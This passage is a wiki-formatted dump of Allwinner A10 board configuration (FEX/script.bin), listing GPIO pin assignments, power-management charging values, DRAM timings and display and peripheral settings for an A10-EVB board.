csi_used = 0
csi_mode = 0
csi_dev_qty = 1
csi_stby_mode = 1
csi_mname = ""
csi_twi_id = 1
csi_twi_addr = 0xba
csi_if = 0
csi_vflip = 0
csi_hflip = 0
csi_iovdd = ""
csi_avdd = ""
csi_dvdd = ""
csi_flash_pol = 1
csi_mname_b = ""
csi_twi_id_b = 1
csi_twi_addr_b = 0x78
csi_if_b = 0
csi_vflip_b = 1
csi_hflip_b = 0
csi_iovdd_b = ""
csi_avdd_b = ""
csi_dvdd_b = ""
csi_flash_pol_b = 1
csi_pck = port:PG00<3><default><default><default>
csi_ck = port:PG01<3><default><default><default>
csi_hsync = port:PG02<3><default><default><default>
csi_vsync = port:PG03<3><default><default><default>
csi_field =
csi_d0 = port:PG04<3><default><default><default>
csi_d1 = port:PG05<3><default><default><default>
csi_d2 = port:PG06<3><default><default><default>
csi_d3 = port:PG07<3><default><default><default>
csi_d4 = port:PG08<3><default><default><default>
csi_d5 = port:PG09<3><default><default><default>
csi_d6 = port:PG10<3><default><default><default>
csi_d7 = port:PG11<3><default><default><default>
csi_d8 =
csi_d9 =
csi_d10 =
csi_d11 =
csi_d12 =
csi_d13 =
csi_d14 =
csi_d15 =
csi_d16 =
csi_d17 =
csi_d18 =
csi_d19 =
csi_d20 =
csi_d21 =
csi_d22 =
csi_d23 =
csi_reset = port:PH14<1><default><default><0>
csi_power_en =
csi_stby = port:PH17<1><default><default><0>
csi_flash =
csi_af_en =
csi_reset_b =
csi_power_en_b =
csi_stby_b =
csi_flash_b =
csi_af_en_b =

[tvout_para]
tvout_used = 1
tvout_channel_num = 1
tv_en = port:PI12<1><default><default><0>

[tvin_para]
tvin_used = 0
tvin_channel_num = 4

[sata_para]
sata_used = 1
sata_power_en =

[mmc0_para]
sdc_used = 1
sdc_detmode = 1
bus_width = 4
sdc_d1 = port:PF00<2><1><2><default>
sdc_d0 = port:PF01<2><1><2><default>
sdc_clk = port:PF02<2><1><2><default>
sdc_cmd = port:PF03<2><1><2><default>
sdc_d3 = port:PF04<2><1><2><default>
sdc_d2 = port:PF05<2><1><2><default>
sdc_det = port:PH01<0><1><default><default>
sdc_use_wp = 0
sdc_wp =

[mmc1_para]
sdc_used = 1
sdc_detmode = 1
bus_width = 4
sdc_cmd = port:PH22<5><1><2><default>
sdc_clk = port:PH23<5><1><2><default>
sdc_d0 = port:PH24<5><1><2><default>
sdc_d1 = port:PH25<5><1><2><default>
sdc_d2 = port:PH26<5><1><2><default>
sdc_d3 = port:PH27<5><1><2><default>
sdc_det = port:PH02<0><1><default><default>
sdc_use_wp = 0
sdc_wp =

[mmc2_para]
sdc_used = 0

[mmc3_para]
sdc_used = 1
sdc_detmode = 4
bus_width = 4
sdc_cmd = port:PI04<2><1><2><default>
sdc_clk = port:PI05<2><1><2><default>
sdc_d0 = port:PI06<2><1><2><default>
sdc_d1 = port:PI07<2><1><2><default>
sdc_d2 = port:PI08<2><1><2><default>
sdc_d3 = port:PI09<2><1><2><default>
sdc_det =
sdc_use_wp = 0
sdc_wp =

[ms_para]
ms_used = 0
ms_bs = port:PH06<5><default><default><default>
ms_clk = port:PH07<5><default><default><default>
ms_d0 = port:PH08<5><default><default><default>
ms_d1 = port:PH09<5><default><default><default>
ms_d2 = port:PH10<5><default><default><default>
ms_d3 = port:PH11<5><default><default><default>
ms_det =

[smc_para]
smc_used = 0
smc_rst = port:PH13<5><default><default><default>
smc_vppen = port:PH14<5><default><default><default>
smc_vppp = port:PH15<5><default><default><default>
smc_det = port:PH16<5><default><default><default>
smc_vccen = port:PH17<5><default><default><default>
smc_sck = port:PH18<5><default><default><default>
smc_sda = port:PH19<5><default><default><default>

[ps2_0_para]
ps2_used = 0
ps2_scl = port:PI20<2><1><default><default>
ps2_sda = port:PI21<2><1><default><default>

[ps2_1_para]
ps2_used = 0
ps2_scl = port:PI14<3><1><default><default>
ps2_sda = port:PI15<3><1><default><default>

[can_para]
can_used = 0
can_tx = port:PA16<3><default><default><default>
can_rx = port:PA17<3><default><default><default>

[keypad_para]
kp_used = 0
kp_in_size = 8
kp_out_size = 8
kp_in0 = port:PH08<4><1><default><default>
kp_in1 = port:PH09<4><1><default><default>
kp_in2 = port:PH10<4><1><default><default>
kp_in3 = port:PH11<4><1><default><default>
kp_in4 = port:PH14<4><1><default><default>
kp_in5 = port:PH15<4><1><default><default>
kp_in6 = port:PH16<4><1><default><default>
kp_in7 = port:PH17<4><1><default><default>
kp_out0 = port:PH18<4><1><default><default>
kp_out1 = port:PH19<4><1><default><default>
kp_out2 = port:PH22<4><1><default><default>
kp_out3 = port:PH23<4><1><default><default>
kp_out4 = port:PH24<4><1><default><default>
kp_out5 = port:PH25<4><1><default><default>
kp_out6 = port:PH26<4><1><default><default>
kp_out7 = port:PH27<4><1><default><default>

[usbc0]
usb_used = 1
usb_port_type = 2
usb_detect_type = 1
usb_id_gpio = port:PH04<0><1><default><default>
usb_det_vbus_gpio = port:PH05<0><0><default><default>
usb_drv_vbus_gpio = port:PB09<1><0><default><0>
usb_host_init_state = 0

[usbc1]
usb_used = 1
usb_port_type = 1
usb_detect_type = 0
usb_id_gpio =
usb_det_vbus_gpio =
usb_drv_vbus_gpio = port:PH06<1><0><default><0>
usb_host_init_state = 1

[usbc2]
usb_used = 1
usb_port_type = 1
usb_detect_type = 0
usb_id_gpio =
usb_det_vbus_gpio =
usb_drv_vbus_gpio = port:PH03<1><0><default><0>
usb_host_init_state = 1

[usb_feature]
vendor_id = 6353
mass_storage_id = 1
adb_id = 2
manufacturer_name = "USB Developer"
product_name = "Android"
serial_number = "20080411"

[msc_feature]
vendor_name = "USB 2.0"
product_name = "USB Flash Driver"
release = 100
luns = 3

[gsensor_para]
gsensor_used = 0
gsensor_name = "bma250"
gsensor_twi_id = 1
gsensor_twi_addr = 0x18
gsensor_int1 = port:PH00<6><1><default><default>
gsensor_int2 = port:PI10<6><1><default><default>

[gps_para]
gps_used = 0
gps_spi_id = 2
gps_spi_cs_num = 0
gps_lradc = 1
gps_clk = port:PI00<2><default><default><default>
gps_sign = port:PI01<2><default><default><default>
gps_mag = port:PI02<2><default><default><default>
gps_vcc_en = port:PC22<1><default><default><0>
gps_osc_en = port:PI14<1><default><default><0>
gps_rx_en = port:PI15<1><default><default><0>

[sdio_wifi_para]
sdio_wifi_used = 1
sdio_wifi_sdc_id = 3
sdio_wifi_mod_sel = 1
swl_n20_shdn = port:PH09<1><default><default><0>
swl_n20_host_wakeup = port:PH10<1><default><default><1>
swl_n20_vdd_en = port:PH11<1><default><default><0>
swl_n20_vcc_en = port:PH12<1><default><default><0>

[usb_wifi_para]
usb_wifi_used = 0
usb_wifi_usbc_num = 2

[3g_para]
3g_used = 0
3g_usbc_num = 2
3g_uart_num = 0
3g_pwr =
3g_wakeup =
3g_int =

[gy_para]
gy_used = 0
gy_twi_id = 1
gy_twi_addr = 0
gy_int1 = port:PH18<6><1><default><default>
gy_int2 = port:PH19<6><1><default><default>

[ls_para]
ls_used = 0
ls_twi_id = 1
ls_twi_addr = 0
ls_int = port:PH20<6><1><default><default>

[compass_para]
compass_used = 0
compass_twi_id = 1
compass_twi_addr = 0
compass_int = port:PI13<6><1><default><default>

[bt_para]
bt_used = 0
bt_uart_id = 2
bt_mod_type = 1

[i2s_para]
i2s_used = 0
i2s_channel = 2
i2s_mclk = port:PB05<2><1><default><default>
i2s_bclk = port:PB06<2><1><default><default>
i2s_lrclk = port:PB07<2><1><default><default>
i2s_dout0 = port:PB08<2><1><default><default>
i2s_dout1 =
i2s_dout2 =
i2s_dout3 =
i2s_din = port:PB12<2><1><default><default>

[spdif_para]
spdif_used = 0
spdif_mclk =
spdif_dout = port:PB13<4><1><default><default>
spdif_din =

[audio_para]
audio_used = 1
audio_pa_ctrl = port:PH15<1><default><default><0>

[ir_para]
ir_used = 1
ir0_rx = port:PB04<2><default><default><default>

[pmu_para]
pmu_used = 1
pmu_twi_addr = 52
pmu_twi_id = 0
pmu_irq_id = 0
pmu_battery_rdc = 200
pmu_battery_cap = 2600
pmu_init_chgcur = 300
pmu_earlysuspend_chgcur = 600
pmu_suspend_chgcur = 1000
pmu_resume_chgcur = 300
pmu_shutdown_chgcur = 1000
pmu_init_chgvol = 4200
pmu_init_chgend_rate = 15
pmu_init_chg_enabled = 1
pmu_init_adc_freq = 100
pmu_init_adc_freqc = 100
pmu_init_chg_pretime = 50
pmu_init_chg_csttime = 720
pmu_bat_para1 = 0
pmu_bat_para2 = 0
pmu_bat_para3 = 1
pmu_bat_para4 = 5
pmu_bat_para5 = 7
pmu_bat_para6 = 13
pmu_bat_para7 = 16
pmu_bat_para8 = 26
pmu_bat_para9 = 36
pmu_bat_para10 = 46
pmu_bat_para11 = 53
pmu_bat_para12 = 61
pmu_bat_para13 = 73
pmu_bat_para14 = 84
pmu_bat_para15 = 92
pmu_bat_para16 = 100
pmu_usbvol = 4000
pmu_usbcur = 0
pmu_usbvol_pc = 4000
pmu_usbcur_pc = 0
pmu_pwroff_vol = 3300
pmu_pwron_vol = 2900
pmu_pekoff_time = 6000
pmu_pekoff_en = 1
pmu_peklong_time = 1500
pmu_pekon_time = 1000
pmu_pwrok_time = 64
pmu_pwrnoe_time = 2000
pmu_intotp_en = 1
pmu_used2 = 0
pmu_adpdet = port:PH02<0><default><default><default>
pmu_init_chgcur2 = 400
pmu_earlysuspend_chgcur2 = 600
pmu_suspend_chgcur2 = 1200
pmu_resume_chgcur2 = 400
pmu_shutdown_chgcur2 = 1200
pmu_suspendpwroff_vol = 3500
pmu_batdeten = 1

[recovery_key]
key_min = 4
key_max = 6
}}}


{{{bin2fex /boot/script.bin}}}:
{{{
fexc-bin: /boot/script.bin: version: 0.1.2
fexc-bin: /boot/script.bin: size: 42052 (74 sections)
[product]
version = "1.0"
machine = "A10-EVB-V1.2"

[target]
boot_clock = 1008
dcdc2_vol = 1400
dcdc3_vol = 1250
ldo2_vol = 3000
ldo3_vol = 2800
ldo4_vol = 2800

[card_burn_para]
card_no = 0
card_line = 4
card_mode = 0
sdc_d1 = port:PF00<2><1><default><default>
sdc_d0 = port:PF01<2><1><default><default>
sdc_clk = port:PF02<2><1><default><default>
sdc_cmd = port:PF03<2><1><default><default>
sdc_d3 = port:PF04<2><1><default><default>
sdc_d2 = port:PF05<2><1><default><default>

[card_boot]
logical_start = 40960
sprite_gpio0 =
[card_boot0_para]
card_ctrl = 0
card_high_speed = 1
card_line = 4
sdc_d1 = port:PF00<2><1><default><default>
sdc_d0 = port:PF01<2><1><default><default>
sdc_clk = port:PF02<2><1><default><default>
sdc_cmd = port:PF03<2><1><default><default>
sdc_d3 = port:PF04<2><1><default><default>
sdc_d2 = port:PF05<2><1><default><default>

[card_boot2_para]
card_ctrl = 2
card_high_speed = 1
card_line = 4
sdc_cmd = port:PC06<3><1><default><default>
sdc_clk = port:PC07<3><1><default><default>
sdc_d0 = port:PC08<3><1><default><default>
sdc_d1 = port:PC09<3><1><default><default>
sdc_d2 = port:PC10<3><1><default><default>
sdc_d3 = port:PC11<3><1><default><default>

[twi_para]
twi_port = 0
twi_scl = port:PB00<2><default><default><default>
twi_sda = port:PB01<2><default><default><default>

[uart_para]
uart_debug_port = 0
uart_debug_tx = port:PB22<2><1><default><default>
uart_debug_rx = port:PB23<2><1><default><default>

[jtag_para]
jtag_enable = 1
jtag_ms = port:PB14<3><default><default><default>
jtag_ck = port:PB15<3><default><default><default>
jtag_do = port:PB16<3><default><default><default>
jtag_di = port:PB17<3><default><default><default>

[dram_para]
dram_baseaddr = 0x40000000
dram_clk = 360
dram_type = 3
dram_rank_num =
dram_chip_density =
dram_io_width =
dram_bus_width =
dram_cas = 6
dram_zq = 0x7b
dram_odt_en = 0
dram_size = 1024
dram_tpr0 = 0x30926692
dram_tpr1 = 0x1090
dram_tpr2 = 0x1a0c8
dram_tpr3 = 0x0
dram_tpr4 = 0x0
dram_tpr5 = 0x0
dram_emr1 = 0x0
dram_emr2 = 0x0
dram_emr3 = 0x0

[mali_para]
mali_used = 1
mali_clkdiv = 3

[g2d_para]
g2d_used = 1
g2d_size = 0x1000000

[emac_para]
emac_used = 1
emac_rxd3 = port:PA00<2><default><default><default>
emac_rxd2 = port:PA01<2><default><default><default>
emac_rxd1 = port:PA02<2><default><default><default>
emac_rxd0 = port:PA03<2><default><default><default>
emac_txd3 = port:PA04<2><default><default><default>
emac_txd2 = port:PA05<2><default><default><default>
emac_txd1 = port:PA06<2><default><default><default>
emac_txd0 = port:PA07<2><default><default><default>
emac_rxclk = port:PA08<2><default><default><default>
emac_rxerr = port:PA09<2><default><default><default>
emac_rxdV = port:PA10<2><default><default><default>
emac_mdc = port:PA11<2><default><default><default>
emac_mdio = port:PA12<2><default><default><default>
emac_txen = port:PA13<2><default><default><default>
emac_txclk = port:PA14<2><default><default><default>
emac_crs = port:PA15<2><default><default><default>
emac_col = port:PA16<2><default><default><default>
emac_reset = port:PA17<1><default><default><default>

[twi0_para]
twi0_used = 1
twi0_scl = port:PB00<2><default><default><default>
twi0_sda = port:PB01<2><default><default><default>

[twi1_para]
twi1_used = 1
twi1_scl = port:PB18<2><default><default><default>
twi1_sda = port:PB19<2><default><default><default>

[twi2_para]
twi2_used = 1
twi2_scl = port:PB20<2><default><default><default>
twi2_sda = port:PB21<2><default><default><default>

[uart_para0]
uart_used = 1
uart_port = 0
uart_type = 2
uart_tx = port:PB22<2><1><default><default>
uart_rx = port:PB23<2><1><default><default>

[uart_para1]
uart_used = 0
uart_port = 1
uart_type = 8
uart_tx = port:PA10<4><1><default><default>
uart_rx = port:PA11<4><1><default><default>
uart_rts = port:PA12<4><1><default><default>
uart_cts = port:PA13<4><1><default><default>
uart_dtr = port:PA14<4><1><default><default>
uart_dsr = port:PA15<4><1><default><default>
uart_dcd = port:PA16<4><1><default><default>
uart_ring = port:PA17<4><1><default><default>

[uart_para2]
uart_used = 1
uart_port = 2
uart_type = 4
uart_tx = port:PI18<3><1><default><default>
uart_rx = port:PI19<3><1><default><default>
uart_rts = port:PI16<3><1><default><default>
uart_cts = port:PI17<3><1><default><default>

[uart_para3]
uart_used = 0
uart_port = 3
uart_type = 4
uart_tx = port:PH00<4><1><default><default>
uart_rx = port:PH01<4><1><default><default>
uart_rts = port:PH02<4><1><default><default>
uart_cts = port:PH03<4><1><default><default>

[uart_para4]
uart_used = 0
uart_port = 4
uart_type = 2
uart_tx = port:PH04<4><1><default><default>
uart_rx = port:PH05<4><1><default><default>

[uart_para5]
uart_used = 0
uart_port = 5
uart_type = 2
uart_tx = port:PH06<4><1><default><default>
uart_rx = port:PH07<4><1><default><default>

[uart_para6]
uart_used = 0
uart_port = 6
uart_type = 2
uart_tx = port:PA12<4><1><default><default>
uart_rx = port:PA13<4><1><default><default>

[uart_para7]
uart_used = 0
uart_port = 7
uart_type = 2
uart_tx = port:PA14<4><1><default><default>
uart_rx = port:PA15<4><1><default><default>

[spi0_para]
spi_used = 0
spi_cs_bitmap = 1
spi_cs0 = port:PI10<3><default><default><default>
spi_sclk = port:PI11<3><default><default><default>
spi_mosi = port:PI12<3><default><default><default>
spi_miso = port:PI13<3><default><default><default>

[spi1_para]
spi_used = 0
spi_cs_bitmap = 1
spi_cs0 = port:PA00<4><default><default><default>
spi_sclk = port:PA01<4><default><default><default>
spi_mosi = port:PA02<4><default><default><default>
spi_miso = port:PA03<4><default><default><default>

[spi2_para]
spi_used = 0
spi_cs_bitmap = 1
spi_cs0 = port:PB14<2><default><default><default>
spi_sclk = port:PB15<2><default><default><default>
spi_mosi = port:PB16<2><default><default><default>
spi_miso = port:PB17<2><default><default><default>
spi_cs0 = port:PC19<3><default><default><default>
spi_sclk = port:PC20<3><default><default><default>
spi_mosi = port:PC21<3><default><default><default>
spi_miso = port:PC22<3><default><default><default>

[spi3_para]
spi_used = 0
spi_cs_bitmap = 1
spi_cs0 = port:PA05<3><default><default><default>
spi_sclk = port:PI06<3><default><default><default>
spi_mosi = port:PI07<3><default><default><default>
spi_miso = port:PI08<3><default><default><default>
spi_cs1 = port:PA09<3><default><default><default>

[spi_devices]
spi_dev_num = 0

[spi_board0]
modalias = "aaa"
max_speed_hz = 12000000
bus_num = 1
chip_select = 0
mode = 3
full_duplex = 0
manual_cs = 0

[rtp_para]
rtp_used = 1
rtp_screen_size = 5
rtp_regidity_level = 5
rtp_press_threshold_enable = 0
rtp_press_threshold = 0x1f40
rtp_sensitive_level = 0xf
rtp_exchange_x_y_flag = 0

[ctp_para]
ctp_used = 0
ctp_name = "ft5x_ts"
ctp_twi_id = 2
ctp_twi_addr = 0x70
ctp_screen_max_x = 800
ctp_screen_max_y = 480
ctp_revert_x_flag = 0
ctp_revert_y_flag = 0
ctp_exchange_x_y_flag = 0
ctp_int_port = port:PH21<6><default><default><default>
ctp_wakeup = port:PB13<1><default><default><1>
ctp_io_port = port:PH21<0><default><default><default>

[tkey_para]
tkey_used = 0
tkey_name = "hv_keypad"
tkey_twi_id = 2
tkey_twi_addr = 0x62
tkey_int = port:PI13<6><default><default><default>

[motor_para]
motor_used = 0
motor_shake = port:PB03<1><default><default><1>

[nand_para]
nand_used = 1
nand_we = port:PC00<2><default><default><default>
nand_ale = port:PC01<2><default><default><default>
nand_cle = port:PC02<2><default><default><default>
nand_ce1 = port:PC03<2><default><default><default>
nand_ce0 = port:PC04<2><default><default><default>
nand_nre = port:PC05<2><default><default><default>
nand_rb0 = port:PC06<2><default><default><default>
nand_rb1 = port:PC07<2><default><default><default>
nand_d0 = port:PC08<2><default><default><default>
nand_d1 = port:PC09<2><default><default><default>
nand_d2 = port:PC10<2><default><default><default>
nand_d3 = port:PC11<2><default><default><default>
nand_d4 = port:PC12<2><default><default><default>
nand_d5 = port:PC13<2><default><default><default>
nand_d6 = port:PC14<2><default><default><default>
nand_d7 = port:PC15<2><default><default><default>
nand_wp = port:PC16<2><default><default><default>
nand_ce2 = port:PC17<2><default><default><default>
nand_ce3 = port:PC18<2><default><default><default>
nand_ce4 =
nand_ce5 =
nand_ce6 =
nand_ce7 =
nand_spi = port:PC23<3><default><default><default>
nand_ndqs = port:PC24<2><default><default><default>

[disp_init]
disp_init_enable = 1
disp_mode = 0
screen0_output_type = 3
screen0_output_mode = 9
screen1_output_type = 3
screen1_output_mode = 9
fb0_framebuffer_num = 2
fb0_format = 10
fb0_pixel_sequence = 0
fb0_scaler_mode_enable = 0
fb1_framebuffer_num = 2
fb1_format = 10
fb1_pixel_sequence = 0
fb1_scaler_mode_enable = 0

[lcd0_para]
lcd_used = 1
lcd_x = 800
lcd_y = 480
lcd_dclk_freq = 33
lcd_pwm_not_used = 0
lcd_pwm_ch = 0
lcd_pwm_freq = 10000
lcd_pwm_pol = 0
lcd_if = 0
lcd_hbp = 46
lcd_ht = 1055
lcd_vbp = 23
lcd_vt = 1050
lcd_hv_if = 0
lcd_hv_smode = 0
lcd_hv_s888_if = 0
lcd_hv_syuv_if = 0
lcd_hv_vspw = 0
lcd_hv_hspw = 0
lcd_lvds_ch = 0
lcd_lvds_mode = 0
lcd_lvds_bitwidth = 0
lcd_lvds_io_cross = 0
lcd_cpu_if = 0
lcd_frm = 0
lcd_io_cfg0 = 268435456
lcd_gamma_correction_en = 0
lcd_gamma_tbl_0 = 0x0
lcd_gamma_tbl_1 = 0x10101
lcd_gamma_tbl_255 = 0xffffff
lcd_bl_en_used = 1
lcd_bl_en = port:PH07<1><0><default><1>
lcd_power_used = 1
lcd_power = port:PH08<1><0><default><1>
lcd_pwm_used = 1
lcd_pwm = port:PB02<2><0><default><default>
lcd_gpio_0 =
lcd_gpio_1 =
lcd_gpio_2 =
lcd_gpio_3 =
lcdd0 = port:PD00<2><0><default><default>
lcdd1 = port:PD01<2><0><default><default>
lcdd2 = port:PD02<2><0><default><default>
lcdd3 = port:PD03<2><0><default><default>
lcdd4 = port:PD04<2><0><default><default>
lcdd5 = port:PD05<2><0><default><default>
lcdd6 = port:PD06<2><0><default><default>
lcdd7 = port:PD07<2><0><default><default>
lcdd8 = port:PD08<2><0><default><default>
lcdd9 = port:PD09<2><0><default><default>
lcdd10 = port:PD10<2><0><default><default>
lcdd11 = port:PD11<2><0><default><default>
lcdd12 = port:PD12<2><0><default><default>
lcdd13 = port:PD13<2><0><default><default>
lcdd14 = port:PD14<2><0><default><default>
lcdd15 = port:PD15<2><0><default><default>
lcdd16 = port:PD16<2><0><default><default>
lcdd17 = port:PD17<2><0><default><default>
lcdd18 = port:PD18<2><0><default><default>
lcdd19 = port:PD19<2><0><default><default>
lcdd20 = port:PD20<2><0><default><default>
lcdd21 = port:PD21<2><0><default><default>
lcdd22 = port:PD22<2><0><default><default>
lcdd23 = port:PD23<2><0><default><default>
lcdclk = port:PD24<2><0><default><default>
lcdde = port:PD25<2><0><default><default>
lcdhsync = port:PD26<2><0><default><default>
lcdvsync = port:PD27<2><0><default><default>

[lcd1_para]
lcd_used = 0
lcd_x = 0
lcd_y = 0
lcd_dclk_freq = 0
lcd_pwm_not_used = 0
lcd_pwm_ch = 1
lcd_pwm_freq = 0
lcd_pwm_pol = 0
lcd_if = 0
lcd_hbp = 0
lcd_ht = 0
lcd_vbp = 0
lcd_vt = 0
lcd_hv_if = 0
lcd_hv_smode = 0
lcd_hv_s888_if = 0
lcd_hv_syuv_if = 0
lcd_hv_vspw = 0
lcd_hv_hspw = 0
lcd_lvds_ch = 0
lcd_lvds_mode = 0
lcd_lvds_bitwidth = 0
lcd_lvds_io_cross = 0
lcd_cpu_if = 0
lcd_frm = 0
lcd_io_cfg0 = 0
lcd_gamma_correction_en = 0
lcd_gamma_tbl_0 = 0x0
lcd_gamma_tbl_1 = 0x10101
lcd_gamma_tbl_255 = 0xffffff
lcd_bl_en_used = 0
lcd_bl_en =
lcd_power_used = 0
lcd_power =
lcd_pwm_used = 1
lcd_pwm = port:PI03<2><0><default><default>
lcd_gpio_0 =
lcd_gpio_1 =
lcd_gpio_2 =
lcd_gpio_3 =
lcdd0 = port:PH00<2><0><default><default>
lcdd1 = port:PH01<2><0><default><default>
lcdd2 = port:PH02<2><0><default><default>
lcdd3 = port:PH03<2><0><default><default>
lcdd4 = port:PH04<2><0><default><default>
lcdd5 = port:PH05<2><0><default><default>
lcdd6 = port:PH06<2><0><default><default>
lcdd7 = port:PH07<2><0><default><default>
lcdd8 = port:PH08<2><0><default><default>
lcdd9 = port:PH09<2><0><default><default>
lcdd10 = port:PH10<2><0><default><default>
lcdd11 = port:PH11<2><0><default><default>
lcdd12 = port:PH12<2><0><default><default>
lcdd13 = port:PH13<2><0><default><default>
lcdd14 = port:PH14<2><0><default><default>
lcdd15 = port:PH15<2><0><default><default>
lcdd16 = port:PH16<2><0><default><default>
lcdd17 = port:PH17<2><0><default><default>
lcdd18 = port:PH18<2><0><default><default>
lcdd19 = port:PH19<2><0><default><default>
lcdd20 = port:PH20<2><0><default><default>
lcdd21 = port:PH21<2><0><default><default>
lcdd22 = port:PH22<2><0><default><default>
lcdd23 = port:PH23<2><0><default><default>
lcdclk = port:PH24<2><0><default><default>
lcdde = port:PH25<2><0><default><default>
lcdhsync = port:PH26<2><0><default><default>
lcdvsync = port:PH27<2><0><default><default>

[tv_out_dac_para]
dac_used = 1
dac0_src = 4
dac1_src = 5
dac2_src = 6
dac3_src = 0

[csi0_para]
csi_used = 1
csi_mode = 0
csi_dev_qty = 1
csi_stby_mode = 0
csi_mname = "gc0308"
csi_twi_id = 1
csi_twi_addr = 0x42
csi_if = 0
csi_vflip = 0
csi_hflip = 1
csi_iovdd = ""
csi_avdd = ""
csi_dvdd = ""
csi_flash_pol = 1
csi_mname_b = ""
csi_twi_id_b = 1
csi_twi_addr_b = 0x78
csi_if_b = 0
csi_vflip_b = 1
csi_hflip_b = 0
csi_iovdd_b = ""
csi_avdd_b = ""
csi_dvdd_b = ""
csi_flash_pol_b = 1
csi_pck = port:PE00<3><default><default><default>
csi_ck = port:PE01<3><default><default><default>
csi_hsync = port:PE02<3><default><default><default>
csi_vsync = port:PE03<3><default><default><default>
csi_d0 = port:PE04<3><default><default><default>
csi_d1 = port:PE05<3><default><default><default>
csi_d2 = port:PE06<3><default><default><default>
csi_d3 = port:PE07<3><default><default><default>
csi_d4 = port:PE08<3><default><default><default>
csi_d5 = port:PE09<3><default><default><default>
csi_d6 = port:PE10<3><default><default><default>
csi_d7 = port:PE11<3><default><default><default>
csi_d8 =
csi_d9 =
csi_d10 =
csi_d11 =
csi_d12 =
csi_d13 =
csi_d14 =
csi_d15 =
csi_reset = port:PH13<1><default><default><0>
csi_power_en =
csi_stby = port:PH16<1><default><default><0>
csi_flash =
csi_af_en =
csi_reset_b =
csi_power_en_b =
csi_stby_b =
csi_flash_b =
csi_af_en_b =

[csi1_para]
csi_used = 0
csi_mode = 0
csi_dev_qty = 1
csi_stby_mode = 1
csi_mname = ""
csi_twi_id = 1
csi_twi_addr = 0xba
csi_if = 0
csi_vflip = 0
csi_hflip = 0
csi_iovdd = ""
csi_avdd = ""
csi_dvdd = ""
csi_flash_pol = 1
csi_mname_b = ""
csi_twi_id_b = 1
csi_twi_addr_b = 0x78
csi_if_b = 0
csi_vflip_b = 1
csi_hflip_b = 0
csi_iovdd_b = ""
csi_avdd_b = ""
csi_dvdd_b = ""
csi_flash_pol_b = 1
csi_pck = port:PG00<3><default><default><default>
csi_ck = port:PG01<3><default><default><default>
csi_hsync = port:PG02<3><default><default><default>
csi_vsync = port:PG03<3><default><default><default>
csi_field =
csi_d0 = port:PG04<3><default><default><default>
csi_d1 = port:PG05<3><default><default><default>
csi_d2 = port:PG06<3><default><default><default>
csi_d3 = port:PG07<3><default><default><default>
csi_d4 = port:PG08<3><default><default><default>
csi_d5 = port:PG09<3><default><default><default>
csi_d6 = port:PG10<3><default><default><default>
csi_d7 = port:PG11<3><default><default><default>
csi_d8 =
csi_d9 =
csi_d10 =
csi_d11 =
csi_d12 =
csi_d13 =
csi_d14 =
csi_d15 =
csi_d16 =
csi_d17 =
csi_d18 =
csi_d19 =
csi_d20 =
csi_d21 =
csi_d22 =
csi_d23 =
csi_reset = port:PH14<1><default><default><0>
csi_power_en =
csi_stby = port:PH17<1><default><default><0>
csi_flash =
csi_af_en =
csi_reset_b =
csi_power_en_b =
csi_stby_b =
csi_flash_b =
csi_af_en_b =

[tvout_para]
tvout_used = 1
tvout_channel_num = 1
tv_en = port:PI12<1><default><default><0>

[tvin_para]
tvin_used = 0
tvin_channel_num = 4

[sata_para]
sata_used = 1
sata_power_en =

[mmc0_para]
sdc_used = 1
sdc_detmode = 1
bus_width = 4
sdc_d1 = port:PF00<2><1><2><default>
sdc_d0 = port:PF01<2><1><2><default>
sdc_clk = port:PF02<2><1><2><default>
sdc_cmd = port:PF03<2><1><2><default>
sdc_d3 = port:PF04<2><1><2><default>
sdc_d2 = port:PF05<2><1><2><default>
sdc_det = port:PH01<0><1><default><default>
sdc_use_wp = 0
sdc_wp =

[mmc1_para]
sdc_used = 1
sdc_detmode = 1
bus_width = 4
sdc_cmd = port:PH22<5><1><2><default>
sdc_clk = port:PH23<5><1><2><default>
sdc_d0 = port:PH24<5><1><2><default>
sdc_d1 = port:PH25<5><1><2><default>
sdc_d2 = port:PH26<5><1><2><default>
sdc_d3 = port:PH27<5><1><2><default>
sdc_det = port:PH02<0><1><default><default>
sdc_use_wp = 0
sdc_wp =

[mmc2_para]
sdc_used = 0

[mmc3_para]
sdc_used = 1
sdc_detmode = 4
bus_width = 4
sdc_cmd = port:PI04<2><1><2><default>
sdc_clk = port:PI05<2><1><2><default>
sdc_d0 = port:PI06<2><1><2><default>
sdc_d1 = port:PI07<2><1><2><default>
sdc_d2 = port:PI08<2><1><2><default>
sdc_d3 = port:PI09<2><1><2><default>
sdc_det =
sdc_use_wp = 0
sdc_wp =

[ms_para]
ms_used = 0
ms_bs = port:PH06<5><default><default><default>
ms_clk = port:PH07<5><default><default><default>
ms_d0 = port:PH08<5><default><default><default>
ms_d1 = port:PH09<5><default><default><default>
ms_d2 = port:PH10<5><default><default><default>
ms_d3 = port:PH11<5><default><default><default>
ms_det =

[smc_para]
smc_used = 0
smc_rst = port:PH13<5><default><default><default>
smc_vppen = port:PH14<5><default><default><default>
smc_vppp = port:PH15<5><default><default><default>
smc_det = port:PH16<5><default><default><default>
smc_vccen = port:PH17<5><default><default><default>
smc_sck = port:PH18<5><default><default><default>
smc_sda = port:PH19<5><default><default><default>

[ps2_0_para]
ps2_used = 0
ps2_scl = port:PI20<2><1><default><default>
ps2_sda = port:PI21<2><1><default><default>

[ps2_1_para]
ps2_used = 0
ps2_scl = port:PI14<3><1><default><default>
ps2_sda = port:PI15<3><1><default><default>

[can_para]
can_used = 0
can_tx = port:PA16<3><default><default><default>
can_rx = port:PA17<3><default><default><default>

[keypad_para]
kp_used = 0
kp_in_size = 8
kp_out_size = 8
kp_in0 = port:PH08<4><1><default><default>
kp_in1 = port:PH09<4><1><default><default>
kp_in2 = port:PH10<4><1><default><default>
kp_in3 = port:PH11<4><1><default><default>
kp_in4 = port:PH14<4><1><default><default>
kp_in5 = port:PH15<4><1><default><default>
kp_in6 = port:PH16<4><1><default><default>
kp_in7 = port:PH17<4><1><default><default>
kp_out0 = port:PH18<4><1><default><default>
kp_out1 = port:PH19<4><1><default><default>
kp_out2 = port:PH22<4><1><default><default>
kp_out3 = port:PH23<4><1><default><default>
kp_out4 = port:PH24<4><1><default><default>
kp_out5 = port:PH25<4><1><default><default>
kp_out6 = port:PH26<4><1><default><default>
kp_out7 = port:PH27<4><1><default><default>

[usbc0]
usb_used = 1
usb_port_type = 2
usb_detect_type = 1
usb_id_gpio = port:PH04<0><1><default><default>
usb_det_vbus_gpio = port:PH05<0><0><default><default>
usb_drv_vbus_gpio = port:PB09<1><0><default><0>
usb_host_init_state = 0

[usbc1]
usb_used = 1
